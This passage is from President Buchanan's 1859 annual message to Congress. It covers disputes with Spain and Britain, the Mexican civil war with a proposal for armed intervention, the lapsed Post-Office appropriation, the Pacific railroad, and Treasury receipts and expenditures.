remote portion of the world. Our relations with\nthe great Empires of France and Russia, as well as with all other\ngovernments on the continent of Europe, unless we may except that of Spain,\nhappily continue to be of the most friendly character. In my last annual\nmessage I presented a statement of the unsatisfactory condition of our\nrelations with Spain, and I regret to say that this has not materially\nimproved.Without special reference to other claims, even the \"Cuban claims,\" the\npayment of which has been ably urged by our ministers, and in which more\nthan a hundred of our citizens are directly interested, remain unsatisfied,\nnotwithstanding both their justice and their amount ($128,635.54) had been\nrecognized and ascertained by the Spanish Government itself.I again recommend that an appropriation be made \"to be paid to the Spanish\nGovernment for the purpose of distribution among the claimants in the\nAmistad case.\" In common with two of my predecessors, I entertain no doubt\nthat this is required by our treaty with Spain of the 27th October, 1795.\nThe failure to discharge this obligation has been employed by the cabinet\nof Madrid as a reason against the settlement of our claims.I need not repeat the arguments which I urged in my last annual message in\nfavor of the acquisition of Cuba by fair purchase. My opinions on that\nmeasure remain unchanged. I therefore again invite the serious attention of\nCongress to this important subject. Without a recognition of this policy on\ntheir part it will be almost impossible to institute negotiations with any\nreasonable prospect of success. Until a recent period there was good reason\nto believe that I should be able to announce to you on the present occasion\nthat our difficulties with Great Britain arising out of the Clayton and\nBulwer treaty had been finally adjusted in a manner alike honorable and\nsatisfactory to both parties. From causes, however, which the British\nGovernment had not anticipated, they have not yet completed treaty\narrangements with the Republics of Honduras and Nicaragua, in pursuance of\nthe understanding between the two Governments. It is, nevertheless,\nconfidently expected that this good work will ere long be accomplished.Whilst indulging the hope that no other subject remained which could\ndisturb the good understanding between the two countries, the question\narising out of the adverse claims of the parties to the island of San Juan,\nunder the Oregon treaty of the 15th June, 1846, suddenly assumed a\nthreatening prominence. In order to prevent unfortunate collisions on that\nremote frontier, the late Secretary of State, on the 17th July, 1855,\naddressed a note to Mr. Crampton, then British minister at Washington,\ncommunicating to him a copy of the instructions which he (Mr. Marcy) had\ngiven on the 14th July to Governor Stevens, of Washington Territory, having\na special reference to an \"apprehended conflict between our citizens and\nthe British subjects on the island of San Juan.\" To prevent this the\ngovernor was instructed \"that the officers of the Territory should abstain\nfrom all acts on the disputed grounds which are calculated to provoke any\nconflicts, so far as it can be done without implying the concession to the\nauthorities of Great Britain of an exclusive right over the premises. The\ntitle ought to be settled before either party should attempt to exclude the\nother by force or exercise complete and exclusive sovereign rights within\nthe fairly disputed limits.\" In acknowledging the receipt on the next day\nof Mr. Marcy's note the British minister expressed his entire concurrence\n\"in the propriety of the course recommended to the governor of Washington\nTerritory by your [Mr. Marcy's] instructions to that officer,\" and stating\nthat he had \"lost no time in transmitting a copy of that document to the\nGovernor-General of British North America\" and had \"earnestly recommended\nto His Excellency to take such measures as to him may appear best\ncalculated to secure on the part of the British local authorities and the\ninhabitants of the neighborhood of the line in question the exercise of the\nsame spirit of forbearance which is inculcated by you [Mr. Marcy] on the\nauthorities and citizens of the United States.\"Thus matters remained upon the faith of this arrangement until the 9th July\nlast, when General Harney paid a visit to the island. He found upon it\ntwenty-five American residents with their families, and also an\nestablishment of the Hudsons Bay Company for the purpose of raising sheep.\nA short time before his arrival one of these residents had shot an animal\nbelonging to the company whilst trespassing upon his premises, for which,\nhowever, he offered to pay twice its value, but that was refused. Soon\nafter \"the chief factor of the company at Victoria, Mr. Dalles, son-in-law\nof Governor Douglas, came to the island in the British sloop of war\nSatellite and threatened to take this American [Mr. Cutler] by force to\nVictoria to answer for the trespass he had committed. The American seized\nhis rifle and told Mr. Dalles if any such attempt was made he would kill\nhim upon the spot. The affair then ended.\"Under these circumstances the American settlers presented a petition to the\nGeneral \"through the United States inspector of customs, Mr. Hubbs, to\nplace a force upon the island to protect them from the Indians as well as\nthe oppressive interference of the authorities of the Hudsons Bay Company\nat Victoria with their rights as American citizens.\" The General\nimmediately responded to this petition, and ordered Captain George E.\nPickett, Ninth Infantry, \"to establish his company on Bellevue, or San Juan\nIsland, on some suitable position near the harbor at the southeastern\nextremity.\" This order was promptly obeyed and a military post was\nestablished at the place designated. The force was afterwards increased, so\nthat by the last return the whole number of troops then on the island\namounted in the aggregate to 691 men.Whilst I do not deem it proper on the present occasion to go further into\nthe subject and discuss the weight which ought to be attached to the\nstatements of the British colonial authorities contesting the accuracy of\nthe information on which the gallant General acted, it was due to him that\nI should thus present his own reasons for issuing the order to Captain\nPickett. From these it is quite clear his object was to prevent the British\nauthorities on Vancouvers Island from exercising jurisdiction over American\nresidents on the island of San Juan, as well as to protect them against the\nincursions of the Indians. Much excitement prevailed for some time\nthroughout that region, and serious danger of collision between the parties\nwas apprehended. The British had a large naval force in the vicinity, and\nit is but an act of simple justice to the admiral on that station to state\nthat he wisely and discreetly forbore to commit any hostile act, but\ndetermined to refer the whole affair to his Government and await their\ninstructions.This aspect of the matter, in my opinion, demanded serious attention. It\nwould have been a great calamity for both nations had they been\nprecipitated into acts of hostility, not on the question of title to the\nisland, but merely concerning what should be its condition during the\nintervening period whilst the two Governments might be employed in settling\nthe question to which of them it belongs. For this reason\nLieutenant-General Scott was dispatched, on the 17th of September last, to\nWashington Territory to take immediate command of the United States forces\non the Pacific Coast, should he deem this necessary. The main object of his\nmission was to carry out the spirit of the precautionary arrangement\nbetween the late Secretary of State and the British minister, and thus to\npreserve the peace and prevent collision between the British and American\nauthorities pending the negotiations between the two Governments.\nEntertaining no doubt of the validity of our title, I need scarcely add\nthat in any event American citizens were to be placed on a footing at least\nas favorable as that of British subjects, it being understood that Captain\nPickett's company should remain on the island. It is proper to observe\nthat, considering the distance from the scene of action and in ignorance of\nwhat might have transpired on the spot before the General's arrival, it was\nnecessary to leave much to his discretion; and I am happy to state the\nevent has proven that this discretion could not have been intrusted to more\ncompetent hands. General Scott has recently returned from his mission,\nhaving successfully accomplished its objects, and there is no longer any\ngood reason to apprehend a collision between the forces of the two\ncountries during the pendency of the existing negotiations. I regret to\ninform you that there has been no improvement in the affairs of Mexico\nsince my last annual message, and I am again obliged to ask the earnest\nattention of Congress to the unhappy condition of that Republic.The constituent Congress of Mexico, which adjourned on the 17th February,\n1857, adopted a constitution and provided for a popular election. This took\nplace in the following July (1857), and General Comonfort was chosen\nPresident almost without opposition. At the same election a new Congress\nwas chosen, whose first session commenced on the 16th of September (1857).\nBy the constitution of 1857 the Presidential term was to begin on the 1st\nof December (1857) and continue for four years. On that day General\nComonfort appeared before the assembled Congress in the City of Mexico,\ntook the oath to support the new constitution, and was duly inaugurated as\nPresident. Within a month afterwards he had been driven from the capital\nand a military rebellion had assigned the supreme power of the Republic to\nGeneral Zuloaga. The constitution provided that in the absence of the\nPresident his office should devolve upon the chief justice of the supreme\ncourt; and General Comonfort having left the country, this functionary,\nGeneral Juarez, proceeded to form at Guanajuato a constitutional\nGovernment. Before this was officially known, however, at the capital the\nGovernment of Zuloaga had been recognized by the entire diplomatic corps,\nincluding the minister of the United States, as the de facto Government of\nMexico. The constitutional President, nevertheless, maintained his position\nwith firmness, and was soon established, with his cabinet, at Vera Cruz.\nMeanwhile the Government of Zuloaga was earnestly resisted in many parts of\nthe Republic, and even in the capital, a portion of the army having\npronounced against it, its functions were declared terminated, and an\nassembly of citizens was invited for the choice of a new President. This\nassembly elected General Miramort, but that officer repudiated the plan\nunder which he was chosen, and Zuloaga was thus restored to his previous\nposition. He assumed it, however, only to withdraw from it; and Miramon,\nhaving become by his appointment \"President substitute,\" continues with\nthat title at the head of the insurgent party.In my last annual message I communicated to Congress the circumstances\nunder which the late minister of the United States suspended his official\nrelations with the central Government and withdrew from the country. It was\nimpossible to maintain friendly intercourse with a government like that at\nthe capital, under whose usurped authority wrongs were constantly\ncommitted, but never redressed. Had this been an established government,\nwith its power extending by the consent of the people over the whole of\nMexico, a resort to hostilities against it would have been quite\njustifiable, and, indeed, necessary. But the country was a prey to civil\nwar, and it was hoped that the success of the constitutional President\nmight lead to a condition of things less injurious to the United States.\nThis success became so probable that in January last I employed a reliable\nagent to visit Mexico and report to me the actual condition and prospects\nof the contending parties. In consequence of his report and from\ninformation which reached me from other sources favorable to the prospects\nof the constitutional cause, I felt justified in appointing a new minister\nto Mexico, who might embrace the earliest suitable opportunity of restoring\nour diplomatic relations with that Republic. For this purpose a\ndistinguished citizen of Maryland was selected, who proceeded on his\nmission on the 8th of March last, with discretionary authority to recognize\nthe Government of President Juarez if on his arrival in Mexico he should\nfind it entitled to such recognition according to the established practice\nof the United States.On the 7th of April following Mr. McLane presented his credentials to\nPresident Juarez, having no hesitation \"in pronouncing the Government of\nJuarez to be the only existing government of the Republic.\" He was\ncordially received by the authorities at Vera Cruz, and they have ever\nsince manifested the most friendly disposition toward the United States.Unhappily, however, the constitutional Government has not been able to\nestablish its power over the whole Republic. It is supported by a large\nmajority of the people and the States, but there are important parts of the\ncountry where it can enforce no obedience.General Miramon maintains himself at the capital, and in some of the\ndistant Provinces there are military governors who pay little respect to\nthe decrees of either Government. In the meantime the excesses which always\nattend upon civil war, especially in Mexico, are constantly recurring.\nOutrages of the worst description are committed both upon persons and\nproperty. There is scarcely any form of injury which has not been suffered\nby our citizens in Mexico during the last few years. We have been nominally\nat peace with that Republic, but \"so far as the interests of our commerce,\nor of our citizens who have visited the country as merchants, shipmasters,\nor in other capacities, are concerned, we might as well have been at war.\"\nLife has been insecure, property unprotected, and trade impossible except\nat a risk of loss which prudent men can not be expected to incur. Important\ncontracts, involving large expenditures, entered into by the central\nGovernment, have been set at defiance by the local governments. Peaceful\nAmerican residents, occupying their rightful possessions, have been\nsuddenly expelled the country, in defiance of treaties and by the mere\nforce of arbitrary power. Even the course of justice has not been safe from\ncontrol, and a recent decree of Miramort permits the intervention of\nGovernment in all suits where either party is a foreigner. Vessels of the\nUnited States have been seized without law, and a consular officer who\nprotested against such seizure has been fined and imprisoned for disrespect\nto the authorities. Military contributions have been levied in violation of\nevery principle of right, and the American who resisted the lawless demand\nhas had his property forcibly taken away and has been himself banished.\nFrom a conflict of authority in different parts of the country tariff\nduties which have been paid in one place have been exacted over again in\nanother place. Large numbers of our citizens have been arrested and\nimprisoned without any form of examination or any opportunity for a\nhearing, and even when released have only obtained their liberty after much\nsuffering and injury, and without any hope of redress. The wholesale\nmassacre of Crabbe and his associates without trial in Sonora, as well as\nthe seizure and murder of four sick Americans who had taken shelter in the\nhouse of an American upon the soil of the United States, was communicated\nto Congress at its last session. Murders of a still more atrocious\ncharacter have been committed in the very heart of Mexico, under the\nauthority of Miramon's Government, during the present year. Some of these\nwere only worthy of a barbarous age, and if they had not been dearly proven\nwould have seemed impossible in a country which claims to be civilized. Of\nthis description was the brutal massacre in April last, by order of General\nMarquez, of three American physicians who were seized in the hospital at\nTacubaya while attending upon the sick and the dying of both parties, and\nwithout trial, as without crime, were hurried away to speedy execution.\nLittle less shocking was the recent fate of Ormond Chase, who was shot in\nTepic on the 7th of August by order of the same Mexican general, not only\nwithout a trial, but without any conjecture by his friends of the cause of\nhis arrest. He is represented as a young man of good character and\nintelligence, who had made numerous friends in Tepic by the courage and\nhumanity which he had displayed on several trying occasions; and his death\nwas as unexpected as it was shocking to the whole community. Other outrages\nmight be enumerated, but these are sufficient to illustrate the wretched\nstate of the country and the unprotected condition of the persons and\nproperty of our citizens in Mexico.In all these cases our ministers have been constant and faithful in their\ndemands for redress, but both they and this Government, which they have\nsuccessively represented, have been wholly powerless to make their demands\neffective. Their testimony in this respect and in reference to the only\nremedy which in their judgments would meet the exigency has been both\nuniform and emphatic. \"Nothing but a manifestation of the power of the\nGovernment of the United States,\" wrote our late minister in 1856, \"and of\nits purpose to punish these wrongs will avail. I assure you that the\nuniversal belief here is that there is nothing to be apprehended from the\nGovernment of the United States, and that local Mexican officials can\ncommit these outrages upon American citizens with absolute impunity.\" \"I\nhope the President,\" wrote our present minister in August last, \"will feel\nauthorized to ask from Congress the power to enter Mexico with the military\nforces of the United States at the call of the constitutional authorities,\nin order to protect the citizens and the treaty rights of the United\nStates. Unless such a power is conferred upon him, neither the one nor the\nother will be respected in the existing state of anarchy and disorder, and\nthe outrages already perpetrated will never be chastised; and, as I assured\nyou in my No. 23, all these evils must increase until every vestige of\norder and government disappears from the country.\" I have been reluctantly\nled to the same opinion, and in justice to my countrymen who have suffered\nwrongs from Mexico and who may still suffer them I feel bound to announce\nthis conclusion to Congress.The case presented, however, is not merely a case of individual claims,\nalthough our just claims against Mexico have reached a very large amount;\nnor is it merely the case of protection to the lives and property of the\nfew Americans who may still remain in Mexico, although the life and\nproperty of every American citizen ought to be sacredly protected in every\nquarter of the world; but it is a question which relates to the future as\nwell as to the present and the past, and which involves, indirectly at\nleast, the whole subject of our duty to Mexico as a neighboring State. The\nexercise of the power of the United States in that country to redress the\nwrongs and protect the rights of our own citizens is none the less to be\ndesired because efficient and necessary aid may thus be rendered at the\nsame time to restore peace and order to Mexico itself. In the\naccomplishment of this result the people of the United States must\nnecessarily feel a deep and earnest interest. Mexico ought to be a rich and\nprosperous and powerful Republic. She possesses an extensive territory, a\nfertile soil, and an incalculable store of mineral wealth. She occupies an\nimportant position between the Gulf and the ocean for transit routes and\nfor commerce. Is it possible that such a country as this can be given up to\nanarchy and ruin without an effort from any quarter for its rescue and its\nsafety? Will the commercial nations of the world, which have so many\ninterests connected with it, remain wholly indifferent to such a result?\nCan the United States especially, which ought to share most largely in its\ncommercial intercourse, allow their immediate neighbor thus to destroy\nitself and injure them? Yet without support from some quarter it is\nimpossible to perceive how Mexico can resume her position among nations and\nenter upon a career which promises any good results. The aid which she\nrequires, and which the interests of all commercial countries require that\nshe should have, it belongs to this Government to render, not only by\nvirtue of our neighborhood to Mexico, along whose territory we have a\ncontinuous frontier of nearly a thousand miles, but by virtue also of our\nestablished policy, which is inconsistent with the intervention of any\nEuropean power in the domestic concerns of that Republic.The wrongs which we have suffered from Mexico are before the world and must\ndeeply impress every American citizen. A government which is either unable\nor unwilling to redress such wrongs is derelict to its highest duties. The\ndifficulty consists in selecting and enforcing the remedy. We may in vain\napply to the constitutional Government at Vera Cruz, although it is well\ndisposed to do us justice, for adequate redress. Whilst its authority is\nacknowledged in all the important ports and throughout the seacoasts of the\nRepublic, its power does not extend to the City of Mexico and the States in\nits vicinity, where nearly all the recent outrages have been committed on\nAmerican citizens. We must penetrate into the interior before we can reach\nthe offenders, and this can only be done by passing through the territory\nin the occupation of the constitutional Government. The most acceptable and\nleast difficult mode of accomplishing the object will be to act in concert\nwith that Government. Their consent and their aid might, I believe, be\nobtained; but if not, our obligation to protect our own citizens in their\njust rights secured by treaty would not be the less imperative. For these\nreasons I recommend to Congress to pass a law authorizing the President\nunder such conditions as they may deem expedient, to employ a sufficient\nmilitary force to enter Mexico for the purpose of obtaining indemnity for\nthe past and security for the future. I purposely refrain from any\nsuggestion as to whether this force shall consist of regular troops or\nvolunteers, or both. This question may be most appropriately left to the\ndecision of Congress. I would merely observe that should volunteers be\nselected such a force could be easily raised in this country among those\nwho sympathize with the sufferings of our unfortunate fellow-citizens in\nMexico and with the unhappy condition of that Republic. Such an accession\nto the forces of the constitutional Government would enable it soon to\nreach the City of Mexico and extend its power over the whole Republic. In\nthat event there is no reason to doubt that the just claims of our citizens\nwould be satisfied and adequate redress obtained for the injuries inflicted\nupon them. The constitutional Government have ever evinced a strong desire\nto do justice, and this might be secured in advance by a preliminary\ntreaty.It may be said that these measures will, at least indirectly, be\ninconsistent with our wise and settled policy not to interfere in the\ndomestic concerns of foreign nations. But does not the present case fairly\nconstitute an exception? An adjoining Republic is in a state of anarchy and\nconfusion from which she has proved wholly unable to extricate herself. She\nis entirely destitute of the power to maintain peace upon her borders or to\nprevent the incursions of banditti into our territory. In her fate and in\nher fortune, in her power to establish and maintain a settled government,\nwe have a far deeper interest, socially, commercially, and politically,\nthan any other nation. She is now a wreck upon the ocean, drifting about as\nshe is impelled by different factions. As a good neighbor, shall we not\nextend to her a helping hand to save her? If we do not, it would not be\nsurprising should some other nation undertake the task, and thus force us\nto interfere at last, under circumstances of increased difficulty, for the\nmaintenance of our established policy.I repeat the recommendation contained in my last annual message that\nauthority may be given to the President to establish one or more temporary\nmilitary posts across the Mexican line in Sonora and Chihuahua, where these\nmay be necessary to protect the lives and property of American and Mexican\ncitizens against the incursions and depredations of the Indians, as well as\nof lawless rovers, on that remote region. The establishment of one such\npost at a point called Arispe, in Sonora, in a country now almost\ndepopulated by the hostile inroads of the Indians from our side of the\nline, would, it is believed, have prevented much injury and many cruelties\nduring the past season. A state of lawlessness and violence prevails on\nthat distant frontier. Life and property are there wholly insecure. The\npopulation of Arizona, now numbering more than 10,000 souls, are\npractically destitute of government, of laws, or of any regular\nadministration of justice. Murder, rapine, and other crimes are committed\nwith impunity. I therefore again call the attention of Congress to the\nnecessity for establishing a Territorial government over Arizona.The treaty with Nicaragua of the 16th of February, 1857, to which I\nreferred in my last annual message, failed to receive the ratification of\nthe Government of that Republic, for reasons which I need not enumerate. A\nsimilar treaty has been since concluded between the parties, bearing date\non the 16th March, 1859, which has already been ratified by the Nicaraguan\nCongress. This will be immediately submitted to the Senate for their\nratification. Its provisions can not, I think, fail to be acceptable to the\npeople of both countries.Our claims against the Governments of Costa Rica and Nicaragua remain\nunredressed, though they are pressed in an earnest manner and not without\nhope of success.I deem it to be my duty once more earnestly to recommend to Congress the\npassage of a law authorizing the President to employ the naval force at his\ncommand for the purpose of protecting the lives and property of American\ncitizens passing in transit across the Panama, Nicaragua, and Tehuantepec\nroutes against sudden and lawless outbreaks and depredations. I shall not\nrepeat the arguments employed in former messages in support of this\nmeasure. Suffice it to say that the lives of many of our people and the\nsecurity of vast amounts of treasure passing and repassing over one or more\nof these routes between the Atlantic and Pacific may be deeply involved in\nthe action of Congress on this subject.I would also again recommend to Congress that authority be given to the\nPresident to employ the naval force to protect American merchant vessels,\ntheir crews and cargoes, against violent and lawless seizure and\nconfiscation in the ports of Mexico and the Spanish American States when\nthese countries may be in a disturbed and revolutionary condition. The mere\nknowledge that such an authority had been conferred, as I have already\nstated, would of itself in a great degree prevent the evil. Neither would\nthis require any additional appropriation for the naval service.The chief objection urged against the grant of this authority is that\nCongress by conferring it would violate the Constitution; that it would be\na transfer of the war-making, or, strictly speaking, the war-declaring,\npower to the Executive. If this were well rounded, it would, of course, be\nconclusive. A very brief examination, however, will place this objection at\nrest.Congress possess the sole and exclusive power under the Constitution \"to\ndeclare war.\" They alone can \"raise and support armies\" and \"provide and\nmaintain a navy.\" But after Congress shall have declared war and provided\nthe force necessary to carry it on the President, as Commander in Chief of\nthe Army and Navy, can alone employ this force in making war against the\nenemy. This is the plain language, and history proves that it was the\nwell-known intention of the framers, of the Constitution.It will not be denied that the general \"power to declare war\" is without\nlimitation and embraces within itself not only what writers on the law of\nnations term a public or perfect war, but also an imperfect war, and, in\nshort, every species of hostility, however confined or limited. Without the\nauthority of Congress the President can not fire a hostile gun in any case\nexcept to repel the attacks of an enemy. It will not be doubted that under\nthis power Congress could, if they thought proper, authorize the President\nto employ the force at his command to seize a vessel belonging to an\nAmerican citizen which had been illegally and unjustly captured in a\nforeign port and restore it to its owner. But can Congress only act after\nthe fact, after the mischief has been done? Have they no power to confer\nupon the President the authority in advance to furnish instant redress\nshould such a case afterwards occur? Must they wait until the mischief has\nbeen done, and can they apply the remedy only when it is too late? To\nconfer this authority to meet future cases under circumstances strictly\nspecified is as clearly within the war-declaring power as such an authority\nconferred upon the President by act of Congress after the deed had been\ndone. In the progress of a great nation many exigencies must arise\nimperatively requiring that Congress should authorize the President to act\npromptly on certain conditions which may or may not afterwards arise. Our\nhistory has already presented a number of such cases. I shall refer only to\nthe latest. Under the resolution of June 2, 1858, \"for the adjustment of\ndifficulties with the Republic of Paraguay,\" the President is \"authorized\nto adopt such measures and use such force as in his judgment may be\nnecessary and advisable in the event of a refusal of just satisfaction by\nthe Government of Paraguay.\" \"Just satisfaction\" for what? For \"the attack\non the United States steamer Water Witch\" and \"other matters referred to in\nthe annual message of the President.\" Here the power is expressly granted\nupon the condition that the Government of Paraguay shall refuse to render\nthis \"just satisfaction.\" In this and other similar cases Congress have\nconferred upon the President power in advance to employ the Army and Navy\nupon the happening of contingent future events; and this most certainly is\nembraced within the power to declare war.Now, if this conditional and contingent power could be constitutionally\nconferred upon the President in the case of Paraguay, why may it not be\nconferred for the purpose of protecting the lives and property of American\ncitizens in the event that they may be violently and unlawfully attacked in\npassing over the transit routes to and from California or assailed by the\nseizure of their vessels in a foreign port? To deny this power is to render\nthe Navy in a great degree useless for the protection of the lives and\nproperty of American citizens in countries where neither protection nor\nredress can be otherwise obtained.The Thirty-fifth Congress terminated on the 3d of March, 1859, without\nhaving passed the \"act making appropriations for the service of the\nPost-Office Department during the fiscal year ending the 30th of June,\n1860,\" This act also contained an appropriation \"to supply deficiencies in\nthe revenue of the Post-Office Department for the year ending 30th June,\n1859.\" I believe this is the first instance since the origin of the Federal\nGovernment, now more than seventy years ago, when any Congress went out of\nexistence without having passed all the general appropriation bills\nnecessary to carry on the Government until the regular period for the\nmeeting of a new Congress. This event imposed on the Executive a grave\nresponsibility. It presented a choice of evils.Had this omission of duty occurred at the first session of the last\nCongress, the remedy would have been plain. I might then have instantly\nrecalled them to complete their work, and this without expense to the\nGovernment. But on the 4th of March last there were fifteen of the\nthirty-three States which had not elected any Representatives to the\npresent Congress. Had Congress been called together immediately, these\nStates would have been virtually disfranchised. If an intermediate period\nhad been selected, several of the States would have been compelled to hold\nextra sessions of their legislatures, at great inconvenience and expense,\nto provide for elections at an earlier day than that previously fixed by\nlaw. In the regular course ten of these States would not elect until after\nthe beginning of August, and five of these ten not until October and\nNovember.On the other hand, when I came to examine carefully the condition of the\nPost-Office Department, I did not meet as many or as great difficulties as\nI had apprehended. Had the bill which failed been confined to\nappropriations for the fiscal year ending on the 30th June next, there\nwould have been no reason of pressing importance for the call of an extra\nsession. Nothing would become due on contracts (those with railroad\ncompanies only excepted) for carrying the mail for the first quarter of the\npresent fiscal year, commencing on the 1st of July, until the 1st of\nDecember--less than one week before the meeting of the present Congress.\nThe reason is that the mail contractors for this and the current year did\nnot complete their first quarter's service until the 30th September last,\nand by the terms of their contracts sixty days more are allowed for the\nsettlement of their accounts before the Department could be called upon for\npayment.The great difficulty and the great hardship consisted in the failure to\nprovide for the payment of the deficiency in the fiscal year ending the\n30th June, 1859. The Department had entered into contracts, in obedience to\nexisting laws, for the service of that fiscal year, and the contractors\nwere fairly entitled to their compensation as it became due. The deficiency\nas stated in the bill amounted to $3,838,728, but after a careful\nsettlement of all these accounts it has been ascertained that it amounts to\n$4,296,009. With the scanty means at his command the Postmaster-General has\nmanaged to pay that portion of this deficiency which occurred in the first\ntwo quarters of the past fiscal year, ending on the 31st December last. In\nthe meantime the contractors themselves, under these trying circumstances,\nhave behaved in a manner worthy of all commendation. They had one resource\nin the midst of their embarrassments. After the amount due to each of them\nhad been ascertained and finally settled according to law, this became a\nspecific debt of record against the United States, which enabled them to\nborrow money on this unquestionable security. Still, they were obliged to\npay interest in consequence of the default of Congress, and on every\nprinciple of justice ought to receive interest from the Government. This\ninterest should commence from the date when a warrant would have issued for\nthe payment of the principal had an appropriation been made for this\npurpose. Calculated up to the 1st December, it will not exceed $96,660--a\nsum not to be taken into account when contrasted with the great\ndifficulties and embarrassments of a public and private character, both to\nthe people and the States, which would have resulted from convening and\nholding a special session of Congress. For these reasons I recommend the\npassage of a bill at as early a day as may be practicable to provide for\nthe payment of the amount, with interest, due to these last-mentioned\ncontractors, as well as to make the necessary appropriations for the\nservice of the Post-Office Department for the current fiscal year.The failure to pass the Post-Office bill necessarily gives birth to serious\nreflections. Congress, by refusing to pass the general appropriation bills\nnecessary to carry on the Government, may not only arrest its action, but\nmight even destroy its existence. The Army, the Navy, the judiciary, in\nshort, every department of the Government, can no longer perform their\nfunctions if Congress refuse the money necessary for their support. If this\nfailure should teach the country the necessity of electing a full Congress\nin sufficient time to enable the President to convene them in any\nemergency, even immediately after the old Congress has expired, it will\nhave been productive of great good. In a time of sudden and alarming\ndanger, foreign or domestic, which all nations must expect to encounter in\ntheir progress, the very salvation of our institutions may be staked upon\nthe assembling of Congress without delay. If under such circumstances the\nPresident should find himself in the condition in which he was placed at\nthe close of the last Congress, with nearly half the States of the Union\ndestitute of representatives, the consequences might he disastrous. I\ntherefore recommend to Congress to carry into effect the provisions of the\nConstitution on this subject, and to pass a law appointing some day\nprevious to the 4th March in each year of odd number for the election of\nRepresentatives throughout all the States. They have already appointed a\nday for the election of electors for President and Vice-President, and this\nmeasure has been approved by the country.I would again express a most decided opinion in favor of the construction\nof a Pacific railroad, for the reasons stated in my two last annual\nmessages. When I reflect upon what would be the defenseless condition of\nour States and Territories west of the Rocky Mountains in case of a war\nwith a naval power sufficiently strong to interrupt all intercourse with\nthem by the routes across the Isthmus, I am still more convinced than ever\nof the vast importance of this railroad. I have never doubted the\nconstitutional competency of Congress to provide for its construction, but\nthis exclusively under the war-making power. Besides, the Constitution\nexpressly requires as an imperative duty that \"the United States shall\nprotect each of them [the States] against invasion.\" I am at a loss to\nconceive how this protection can be afforded to California and Oregon\nagainst such a naval power by any other means. I repeat the opinion\ncontained in my last annual message that it would be inexpedient for the\nGovernment to undertake this great work by agents of its own appointment\nand under its direct and exclusive control. This would increase the\npatronage of the Executive to a dangerous extent and would foster a system\nof jobbing and corruption which no vigilance on the part of Federal\nofficials could prevent. The construction of this road ought, therefore, to\nbe intrusted to incorporated companies or other agencies who would exercise\nthat active and vigilant supervision over it which can be inspired alone by\na sense of corporate and individual interest. I venture to assert that the\nadditional cost of transporting troops, munitions of war, and necessary\nsupplies for the Army across the vast intervening plains to our possessions\non the Pacific Coast would be greater in such a war than the whole amount\nrequired to construct the road. And yet this resort would after all be\ninadequate for their defense and protection.We have yet scarcely recovered from the habits of extravagant expenditure\nproduced by our overflowing Treasury during several years prior to the\ncommencement of my Administration. The financial reverses which we have\nsince experienced ought to teach us all to scrutinize our expenditures with\nthe greatest vigilance and to reduce them to the lowest possible point. The\nExecutive Departments of the Government have devoted themselves to the\naccomplishment of this object with considerable success, as will appear\nfrom their different reports and estimates. To these I invite the scrutiny\nof Congress, for the purpose of reducing them still lower, if this be\npracticable consistent with the great public interests of the country. In\naid of the policy of retrenchment, I pledge myself to examine closely the\nbills appropriating lands or money, so that if any of these should\ninadvertently pass both Houses, as must sometimes be the case, I may afford\nthem an opportunity for reconsideration. At the same time, we ought never\nto forget that true public economy consists not in withholding the means\nnecessary to accomplish important national objects confided to us by the\nConstitution, but in taking care that the money appropriated for these\npurposes shall be faithfully and frugally expended.It will appear from the report of the Secretary of the Treasury that it is\nextremely doubtful, to say the least, whether we shall be able to pass\nthrough the present and the next fiscal year without providing additional\nrevenue. This can only be accomplished by strictly confining the\nappropriations within the estimates of the different Departments, without\nmaking an allowance for any additional expenditures which Congress may\nthink proper, in their discretion, to authorize, and without providing for\nthe redemption of any portion of the $20,000,000 of Treasury notes which\nhave been already issued. In the event of a deficiency, which I consider\nprobable, this ought never to be supplied by a resort to additional loans.\nIt would be a ruinous practice in the days of peace and prosperity to go on\nincreasing the national debt to meet the ordinary expenses of the\nGovernment. This policy would cripple our resources and impair our credit\nin case the existence of war should render it necessary to borrow money.\nShould such a deficiency occur as I apprehend, I would recommend that the\nnecessary revenue be raised by an increase of our present duties on\nimports. I need not repeat the opinions expressed in my last annual message\nas to the best mode and manner of accomplishing this object, and shall now\nmerely observe that these have since undergone no change. The report of the\nSecretary of the Treasury will explain in detail the operations of that\nDepartment of the Government. The receipts into the Treasury from all\nsources during the fiscal year ending June 30, 1859, including the loan\nauthorized by the act of June 14, 1858, and the issues of Treasury notes\nauthorized by existing laws, were $81,692,471.01, which sum, with the\nbalance of $6,398,316.10 remaining in the Treasury at the commencement of\nthat fiscal year, made an aggregate for the service of the year of\n$88,090,787.11.The public expenditures during the fiscal year ending June 30, 1859,\namounted to $83,751,511.57. Of this sum $17,405,285.44 were applied to the\npayment of interest on the public debt and the redemption of the issues of\nTreasury notes. The expenditures for all other branches of the public\nservice during that fiscal year were therefore $66,346,226.13. The balance\nremaining in the Treasury on the 1st July, 1859, being the commencement of\nthe present fiscal year, was $4,339,275.54. The receipts into the Treasury\nduring the first quarter of the present fiscal year, commencing July 1,\n1859, were $20,618,865.85. Of this amount $3,821,300 was received on\naccount of the loan and the issue of Treasury notes, the amount of\n$16,797,565.85 having been received during the quarter from the ordinary\nsources of public revenue. The estimated receipts for the remaining three\nquarters of the present fiscal year, to June 30, 1860, are $50,426,400. Of\nthis amount it is estimated that $5,756,400 will be received for Treasury\nnotes which may be reissued under the fifth section of the act of 3d March\nlast, and $1,170,000 on account of the loan authorized by the act of June\n14, 1858, making $6,926,400 from these extraordinary sources, and\n$43,500,000 from the ordinary sources of the public revenue, making an\naggregate, with the balance in the Treasury on the 1st July, 1859, of\n$75,384,541.89 for the estimated means of the present fiscal year, ending\nJune 30, 1860.The expenditures during the first quarter of the present fiscal year were\n$20,007,174.76. Four million six hundred and sixty-four thousand three\nhundred and sixty-six dollars and seventy-six cents of this sum were\napplied to the payment of interest on the public debt and the redemption of\nthe issues of Treasury notes, and the remainder, being $15,342,808, were\napplied to ordinary expenditures during the quarter. The estimated\nexpenditures during the remaining three quarters, to June 30, 1860, are\n$40,995,558.23, of which sum $2,886,621.34 are estimated for the interest\non the public debt. The ascertained and estimated expenditures for the\nfiscal year ending June 30, 1860, on account of the public debt are\naccordingly $7,550,988.10, and for the ordinary expenditures of the\nGovernment $53,451,744.89, making an aggregate of $61,002,732.99, leaving\nan estimated balance in the Treasury on June 30, 1860, of $14,381,808.40.The estimated receipts during the next fiscal year, ending June 30, 1861,\nare $66,225,000, which, with the balance estimated, as before stated, as\nremaining in the Treasury on the 30th June, 1860, will make an aggregate\nfor the service of the next fiscal year of $80,606,808.40.The estimated expenditures during the next fiscal year, ending 30th June,\n1861, are $66,714,928.79. Of this amount $3,386,621.34 will be required 